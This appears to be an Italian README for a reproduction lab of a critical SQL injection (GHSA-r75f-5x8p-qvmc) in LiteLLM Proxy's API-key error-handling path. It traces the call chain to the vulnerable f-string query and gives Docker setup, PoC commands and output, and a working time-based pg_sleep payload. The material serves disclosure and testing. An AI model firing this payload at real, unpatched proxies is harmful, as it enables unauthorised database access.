
Ambiente di riproduzione per una vulnerabilità critica di SQL injection nell'autenticazione delle chiavi API di LiteLLM Proxy, con PoC blind basato sul tempo e configurazione Docker per i test.
| Elemento | Dettaglio |
|---|
| Advisory | GHSA-r75f-5x8p-qvmc |
| Tipo | SQL Injection (CWE-89) |
| Gravità | Critica |
| Versioni interessate | litellm >=1.81.16, <1.83.7 |
| Corretta in | litellm >=1.83.7 (commit 4dc416ee74) |
L'iniezione avviene nel percorso del callback di gestione degli errori, non nel flusso di autenticazione principale. Quando viene inviato un token senza prefisso sk-, l'asserzione fallisce e il token grezzo (non hashato) passa attraverso la catena di callback di errore fino a una query SQL che utilizza l'interpolazione di stringhe f-string:
HTTP request: Authorization: Bearer <payload>
→ assert api_key.startswith("sk-") fallisce
→ _handle_authentication_error(api_key=RAW_TOKEN)
→ post_call_failure_hook
→ _enrich_failure_metadata_with_key_info
→ get_key_object(hashed_token=RAW_TOKEN)
→ get_data(token=RAW_TOKEN, table_name="combined_view")
→ SQL: WHERE v.token = '{RAW_TOKEN}' ← INIEZIONE
Il percorso di autenticazione principale con sk- non è sfruttabile perché i token vengono sottoposti a hash SHA256 prima di raggiungere la query, producendo solo caratteri [0-9a-f].
docker compose up -d
Questo avvia LiteLLM Proxy (v1.83.3-stable) con un backend PostgreSQL.
pip install requests
python poc_litellm_sqli.py --target http://localhost:4000 --delay 5
╔═══════════════════════════════════════════════════════════╗
║ LiteLLM Proxy SQL Injection PoC ║
║ GHSA-r75f-5x8p-qvmc | CVE: Pending ║
║ Affected: litellm >=1.81.16, <1.83.7 ║
║ Attack: time-based blind via error-handling callback ║
╚═══════════════════════════════════════════════════════════╝
[*] Checking target: http://localhost:4000
[+] Target alive (status 200)
[*] Measuring baseline (3 requests)...
Baseline avg: 0.022s
[*] Control: non-sk- token without pg_sleep...
Control: 0.024s
=======================================================
Time-based Blind SQL Injection (pg_sleep=5s)
=======================================================
Payload: ' OR (SELECT 1 FROM (SELECT pg_sleep(5)) t) IS NOT NULL--
Response: 5.018s
[+] VULNERABLE! pg_sleep(5) confirmed


La funzione pg_sleep() di PostgreSQL restituisce void, che non può apparire in un contesto booleano (OR). Il payload la racchiude in una subquery per evitare l'errore di tipo:
' OR (SELECT 1 FROM (SELECT pg_sleep(N)) t) IS NOT NULL--
Questa viene iniettata nella query combined_view in litellm/proxy/utils.py:
# Codice vulnerabile (<=v1.83.3)
sql_query = f"""
SELECT v.*, t.spend AS team_spend, ...
FROM "LiteLLM_VerificationToken" AS v
LEFT JOIN ...
WHERE v.token = '{token}' ← interpolazione f-string dell'input utente
"""